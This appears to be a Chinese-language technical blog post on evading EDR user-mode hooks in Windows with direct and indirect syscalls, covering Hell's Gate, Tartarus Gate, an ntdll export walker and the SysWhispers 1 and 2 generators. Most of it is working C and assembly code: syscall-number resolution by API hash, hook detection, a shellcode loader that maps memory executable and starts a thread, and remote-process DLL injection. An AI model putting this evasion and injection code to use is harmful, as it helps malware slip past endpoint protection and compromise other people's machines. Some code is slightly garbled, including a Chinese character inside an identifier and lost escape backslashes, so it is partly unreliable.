windows中日常调用的api都是R3抽象出来的接口,虽然win32 api他也是R3接口,但是由于windows的设计思想就是高度封装,所以实际上的R3 api是ntdll.dll中的函数,过程如下图。
我们调用的win32 api都是kernel.dll/user32.dll中的函数,最终都要经过ntdll.dl。
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency system call
.text:000000018009F614 C3 retn
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00 mov eax, 4Fh ; 'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03 jnz short loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05 syscall ; Low latency system call
.text:000000018009F634 C3 retn
绕过EDR
一般都是inline hook,即把函数的开头地址值改成
jmp xxxxxxx(hook函数地址)
。既然知道了syscall的调用模板,自己构造syscall(获取SSN,syscall),即可绕过EDR对api的hook。
HellsGate 地狱之门
直接跟进main.c,调用RtlGetThreadEnvironmentBlock,作用是获取TEB(fs:0x30/0x60),然后获取PEB。
PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
// 获取PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
会检测函数地址位置的字节序列是否正常,比如如果在地址处检测到了
0x0f 0x05 syscall
,0xc3 ret
,正常函数不会是这样的,说明可能被hook。正常的序列:
MOV R10, RCX
MOV RCX, <SSN>
mov r10, rcx
mov eax, <SSN>
syscall
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
// 获取函数名
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// djb2 哈希算法
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
// 赋值函数地址
pVxTableEntry->pAddress = pFunctionAddress;
// 检测函数是否被hook(检查原有字节序列)
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// 0x0f 0x05 syscall
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
// 根据字节序列获取SSN,存储到pVxTableEntry中
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry中->wSystemCall = (high << 8) | low;
break;
}
cw++;
};
}
}
return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
// 存放shellcode
char shellcode[] = "x90x90x90x90xccxccxccxccxc3";
// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
return TRUE;
}
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
wSystemCall DWORD 000h
.code
// 给wSystemCall赋值SSN
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
// 手搓syscall
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
TartarusGate 地狱之门进阶版
这是对地狱之门的改进,因为地狱之门在不干净的ntdll中无法动态获取SSN,所以光环之门进行了改进。
当我们所需要的 Nt 函数被 hook 时,它相邻的 Nt 函数可能没有被 hook,因为 EDR 不可能 hook 所有的 Nt 函数,总有一些不敏感的 Nt 函数没有被 hook,这样我们从我们需要的 Nt 函数出发,向上或者向下寻找,找到没有被 hook 的 Nt 函数,然后它的 SSN 加上或减去步数就得到了我们需要的 SSN。
检测到0xe9 jmp时(第一第二条,做了两次判断,因为不只是第一条命令会被hook),开始向上向下查看邻居。
预先设置了down和up的值为正负32,这是作者手动计算的,然后根据这个区间进行上下邻居的查看。
可以手动在ntdll里面数一下,正好差0x20,即32.由于各个API本质不同就是传入SSN不同,所以这里可以固定区间检查上下邻居。
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
//if hooked check the neighborhood to find clean syscall
// 0xe9 jmp
if (*((PBYTE)pFunctionAddress) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
// 4C 8B D1movr10, rcx; NtCreateThread
// B8 4E 00 00 00moveax, 4Eh ; 'N'
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return TRUE;
}
// check neighboring syscall up
if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return TRUE;
}
}
return FALSE;
}
if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return TRUE;
}
// check neighboring syscall up
if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return TRUE;
}
}
return FALSE;
}
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
nop
mov wSystemCall, 000h
nop
mov wSystemCall, ecx
nop
ret
HellsGate ENDP
HellDescent PROC
nop
mov rax, rcx
nop
mov r10, rax
nop
mov eax, wSystemCall
nop
syscall
ret
HellDescent ENDP
end
GetSSN 遍历ntdll导出函数
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%stFunction Address:%pn", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
// 输出内核函数对应的系统调用号
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>
// 哈希函数,用于计算API名称的哈希值
unsigned long djb2(const char* str)
{
unsigned long hash = 5381;
int c;
while (c = *str++)
hash = ((hash << 5) + hash) + c; // hash * 33 + c
return hash;
}
// 修改后的GetSSN函数
int GetSSN(unsigned long api_hash)
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;
Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return -1; // 返回-1表示错误
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
if (djb2(pczFunctionName) == api_hash) {
// 找到匹配的API,返回其序号
return pwAddressOfNameOrdinales[cx];
}
}
return -1; // 如果没有找到匹配的API,返回-1
}
int main()
{
// 假设我们要查找的API名称的哈希值
// 最好直接hash硬编码
unsigned long api_hash = djb2("NtCreateFile");
int syscall_number = GetSSN(api_hash);
if (syscall_number != -1)
{
std::cout << "Found syscall number: " << syscall_number << std::endl;
}
else
{
std::cout << "API not found." << std::endl;
}
return 0;
}
SysWhispers
这是直接系统调用的框架。
安装:
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .requirements.txt
> py .syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .syswhispers.py --preset all -o syscalls_all
# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Export all functions with compatibility for Windows 7, 8, and 10.
py .syswhispers.py --versions 7,8,10 -o syscalls_78X
py .syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.asm
syscalls.h
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
NtAllocateVirtualMemory PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 5
je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtAllocateVirtualMemory_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtAllocateVirtualMemory_Check_10_0_XXXX
jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX: ; Check build number for Windows 10.
cmp word ptr [rax+120h], 10240
je NtAllocateVirtualMemory_SystemCall_10_0_10240
cmp word ptr [rax+120h], 10586
je NtAllocateVirtualMemory_SystemCall_10_0_10586
cmp word ptr [rax+120h], 14393
je NtAllocateVirtualMemory_SystemCall_10_0_14393
cmp word ptr [rax+120h], 15063
.........
cmp word ptr [rax+120h], 19043
je NtAllocateVirtualMemory_SystemCall_10_0_19043
jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server 2003
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043: ; Windows 10.0.19043 (21H1)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtAllocateVirtualMemory_Epilogue:
mov r10, rcx
syscall
ret
NtAllocateVirtualMemory ENDP
SysWhispers2(random 间接调用)
使用方法和第一版一样,只不过内部的实现机制发生了改变。
用demo查看一下内部机制。
py .syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.std.x86.asm
syscallsstubs.rnd.x86.asm
syscallsstubs.std.x86.nasm
syscallsstubs.rnd.x86.nasm
syscallsstubs.std.x86.s
syscallsstubs.rnd.x86.s
syscallsinline.std.x86.h
syscallsinline.rnd.x86.h
syscallsstubs.std.x64.asm
syscallsstubs.rnd.x64.asm
syscallsstubs.std.x64.nasm
syscallsstubs.rnd.x64.nasm
syscallsstubs.std.x64.s
syscallsstubs.rnd.x64.s
syscallsinline.std.x64.h
syscallsinline.rnd.x64.h
std方法是最基础的syscall,但是rnd是适配了
Random Syscall Jumps
技术,项目描述中有写。使用随机系统调用跳转(Random Syscall Jumps)可以避免“系统调用的标记”。汇编存根会调用一个新函数SW__GetRandomSyscallAddress,该函数会在ntdll.dll中搜索并选择一个干净的系统调用指令来使用。通过这种方式,也可以避免触发用户态的系统调用指令。
要使用随机系统调用跳转,你需要在编译程序时定义RANDSYSCALL,并使用SysWhispers2输出的rnd版本。以下示例展示了如何使用GNU汇编器存根。
x86 Example EXE - Using Random Syscall Jumps
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
具体的差别在asm。首先是导出的nt函数,将硬编码的hash值传给currentHash,然后调用WhisperMain。
NtAllocateVirtualMemory PROC
mov currentHash, 007952D37h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov currentHash, 0D642DCD6h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtWriteVirtualMemory ENDP
NtCreateThreadEx PROC
mov currentHash, 04AB11E6Ch ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtCreateThreadEx ENDP
SW2_GetSyscallNumber
和SW2_GetRandomSyscallAddress。
.code
EXTERN SW2_GetSyscallNumber: PROC
EXTERN SW2_GetRandomSyscallAddress: PROC
WhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
mov dword ptr [syscallNumber], eax ; Save the syscall number
xor rcx, rcx
call SW2_GetRandomSyscallAddress ; Get a random syscall address
mov qword ptr [syscallAddress], rax ; Save the random syscall address
xor rax, rax
mov eax, syscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
pop qword ptr [returnAddress] ; Save the original return address
call qword ptr [syscallAddress] ; Call the random syscall instruction
push qword ptr [returnAddress] ; Restore the original return address
ret
WhisperMain ENDP
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return -1;
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
先看数据结构,SW2_SYSCALL_ENTRY存放导出函数的hash和地址,SW2_SYSCALL_LIST存放entry队列,还有计数器。
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
#if defined(_WIN64)
PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
#else
PSW2_PEB Peb = (PSW2_PEB)__readfsdword(0x30);
#endif
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}
UINT64 GetModuleAddress(LPWSTR moduleName) {
PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET);
LIST_ENTRY* ModuleList = NULL;
if (!moduleName)
return 0;
for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink;
pListEntry != &peb->LoaderData->InMemoryOrderModuleList;
pListEntry = pListEntry->Flink) {
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) {
return (UINT64)pEntry->DllBase;
}
}
return 0;
}
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
